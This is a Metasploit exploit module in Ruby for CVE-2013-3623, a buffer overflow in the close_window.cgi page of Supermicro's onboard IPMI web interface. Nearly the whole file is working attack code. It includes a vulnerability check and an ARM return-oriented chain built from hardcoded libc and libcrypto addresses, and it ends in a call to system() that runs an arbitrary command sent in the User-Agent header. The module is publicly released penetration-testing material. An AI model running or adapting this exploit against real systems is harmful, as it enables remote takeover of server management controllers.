##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require
'msf/core'
class
Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def
initialize(info = {})
super
(update_info(info,
'Name'
=>
'Supermicro Onboard IPMI close_window.cgi Buffer Overflow'
,
'Description'
=> %q{
This
module
exploits a buffer overflow on the Supermicro Onboard
IPMI
controller web
interface. The vulnerability exists on the close_window.cgi
CGI
application,
and
is due
to the insecure usage of strcpy. In order to get a session, the
module
will execute
system() from libc with an arbitrary
CMD
payload sent on the User-Agent header. This
module
has been tested successfully on Supermicro Onboard
IPMI
(
X9SCL
/
X9SCM
) with firmware
SMT_X9_214
.
},
'Author'
=>
[
'hdm'
,
# Vulnerability Discovery and Metasploit module
'juan vazquez'
# Metasploit module
],
'License'
=>
MSF_LICENSE
,
'Payload'
=>
{
'Space'
=>
8000
,
# Payload sent on the user agent, long enough to fit any payload
'DisableNops'
=>
true
,
'BadChars'
=> (0x00..0x1f).to_a.pack(
"C*"
),
# not a big deal, we're working with ARCH_CMD payloads
'Compat'
=>
{
'PayloadType'
=>
'cmd'
,
'RequiredCmd'
=>
'generic openssl'
}
},
'Platform'
=> [
'unix'
],
'Arch'
=>
ARCH_CMD
,
'References'
=>
[
[
'CVE'
,
'2013-3623'
],
[
'URL'
,
'https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-ipmi-firmware-vulnerabilities'
]
],
'Targets'
=>
[
[
'Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware SMT_X9_214'
,
{
:callback
=>
:target_smt_x9_214
}
]
],
'DisclosureDate'
=>
'Nov 06 2013'
,
'DefaultTarget'
=>
0
))
end
def
send_close_window_request(sess, agent = rand_text_alpha(
8
))
res = send_request_cgi({
'method'
=>
'POST'
,
'uri'
=>
"/cgi/close_window.cgi"
,
'agent'
=> rand_text_alpha(
16
) + agent,
'encode_params'
=>
false
,
'vars_post'
=> {
'sess_sid'
=> sess
}
})
return
res
end
def
check
safe_check = rand_text_alpha(
20
)
trigger_check = rand_text_alpha(
132
)
res = send_close_window_request(safe_check)
unless
res
and
res.code ==
200
and
res.body.to_s =~ /Can't find action/
return
Exploit::CheckCode::Unknown
end
res = send_close_window_request(trigger_check)
unless
res
and
res.code ==
500
return
Exploit::CheckCode::Safe
end
return
Exploit::CheckCode::Vulnerable
end
def
target_smt_x9_214
base_crypt = 0x40074000
# libcrypto.so.0.9.8
base_libc = 0x40554000
# libc-2.3.5.so
buf = rand_text_alpha(
68
)
buf << rand_text_alpha(
4
)
# r10
buf << rand_text_alpha(
4
)
# r11
buf << rand_text_alpha(
4
)
# sp
buf << [base_crypt + 0x39598].pack(
"V"
)
# pc # mov pc, r4
# 2nd stage
buf <<
"\x68\xd0\x84\xe2"
# add sp, r4, 104 # make sp point to controlled data in order to accomplish the "ret2system"
offset = ssl ?
208
:
204
# when ssl there is an additional environment variable "HTTPS=on"
buf << [offset].pack(
"C"
) +
"\x50\x84\xe2"
# add r5, r4, 204 # make r5 point to pointer to envp
buf <<
"\x70\x40\xb5\xe8"
# ldmfd r5!, {r4, r5, r6, ls} # store on r4 pointer to envp USER_AGENT pointer
buf <<
"\x20\x40\x84\xe2"
# add r4, r4, 32 # to skip the "HTTP_USER_AGENT=" substring and avoid bachars on emulated environment
buf <<
"\x40\x80\xbd\xe8"
# ldmfd sp!, {r6, pc}
buf << rand_text_alpha(
4
)
# R6
buf << [ base_crypt + 0x3A8BC ].pack(
"V"
)
# mov r0, r4; ldmfd sp!, {r4,pc} # store in r0 pointer to command
buf << rand_text_alpha(
4
)
# r4
buf << [ base_libc + 0x3617c ].pack(
"V"
)
# system at libc
buf << rand_text_alpha(
128
-buf.length)
# padding to reach memory which allows to control r4 when overflow occurs
# 1st stage: adjust r4 and pc
buf <<
"\x80\x40\x44\xe2"
# sub r4, r4,-128 # make r4 point to the start of the buffer
buf <<
"\x54\xf0\x84\xe2"
# add pc, r4, 84 # give control to 2nd stage
return
buf
end
def
exploit
buffer =
self
.send(target[
:callback
])
print_status(
"#{peer} - Sending exploit..."
)
send_close_window_request(buffer, payload.encoded)
end
end